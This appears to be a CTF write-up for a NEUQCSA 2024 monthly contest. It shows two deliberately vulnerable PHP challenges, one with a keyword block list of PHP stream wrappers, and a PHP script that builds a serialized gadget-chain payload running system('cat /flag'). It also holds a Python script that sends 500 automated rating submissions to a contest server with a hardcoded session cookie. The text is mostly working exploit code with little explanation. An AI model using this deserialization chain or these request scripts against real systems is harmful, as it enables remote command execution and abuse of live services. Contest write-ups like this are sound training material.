NEUQCSA-2024-1月赛wp

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|rot13|base64|string|input/i',$file)){
        die('杂讯太多讯号弱 就连风吹都要干扰');
    }else{
        return $file;
    }
}

$query = $_SERVER['QUERY_STRING'];

if (preg_match('/_|%5f|\.|%2E/i', $query)) {
    die('有太多人太多事 夹在我们之间咆哮');
}

if($_GET['s_c_r_t'] !=='20020718' && preg_match('/^20020718$/',$_GET['s_c_r_t'])){
    echo("连上彼此的讯号 才有个依靠");
    
    $file=$_POST['file'];
    if(! is_file($file)){
        highlight_file(filter($file));
    }else{
        echo "到底有谁知道 是几点钟方向 你才会收到暗号";
    }
}
else{
    echo("你停止收讯号 我开始搜寻不到");
}
?>

<?php

error_reporting(0);

class A{
    public $hhh;
    private $aaa;

    public function __toString()
    {
        $this->hhh->aaa($this->aaa);
        return "win";
    }

}
class AA {
    public $qqq;
    public function __destruct()
    {
        return $this->qqq."hello";
    }
}
class AAA{
    public $num;
    public function __call($name, $arguments)
    {
        system($arguments[$this->num][$name]);
    }

}
$data=$_POST['NEUQCSA'];
if (isset($data)){
    unserialize($data);
}
else{
    highlight_file(__FILE__);
}
?>

<?php
class A{
    public $hhh;
    private $aaa=array("aaa"=>"cat /flag");

}
class AA {
    public $qqq;
}
class AAA{
    public $num;
}
$flag=new AAA();
$flag->num=0;
$second=new A();
$second->hhh=$flag;
$first=new AA();
$first->qqq=$second;
echo urlencode(serialize($first));
?>

import requests
import time
url="http://monian.one:7724/update"
po={"https":None,"http":None}
cookie={'session':'eyJ1c2VyaWQiOiI2MmY4ZjE3ZS1jM2U4LTQzNzctYTYxNy1lNGNkZmM2Yjc3ODgifQ.ZatjCQ.pOMuv3n2MZnlMsl1g7EfZPIRmWA'}
with open('./1.txt', 'r',encoding='utf-8') as file:
    lines = file.readlines()
data = []
for line in lines:
    line = line.strip()
    line_data = line.split('\t') 
    data.append(line_data)
for i in range(500):
    datas={
        "teacherName":data[i][3],
        "courseName":data[i][1],
        "rating":5,
        "comments":'1',
        'id':data[i][0]
    }
    res=requests.post(url=url,cookies=cookie,data=datas,proxies=po)
    if "success" in res.text:
        print(i)
        print("success")
    if "failed" in res.text:
        print(i)
        print("failed")
    time.sleep(0.5)

3071013009	半导体物理	选修	褚老师	评教	编辑
3030213036	RFID课程设计	必修	奚老师	评教	编辑
3020813015	健康产业战略管理	必修	吴老师	评教	编辑
3050213102	日语演讲与辩论	选修	吴老师	评教	编辑
3060213013	现代代数选讲	选修	吴老师	评教	编辑
3070312003	有机化学	必修	周老师	评教	编辑
3010112004	经济学科与专业导论	必修	严老师	评教	编辑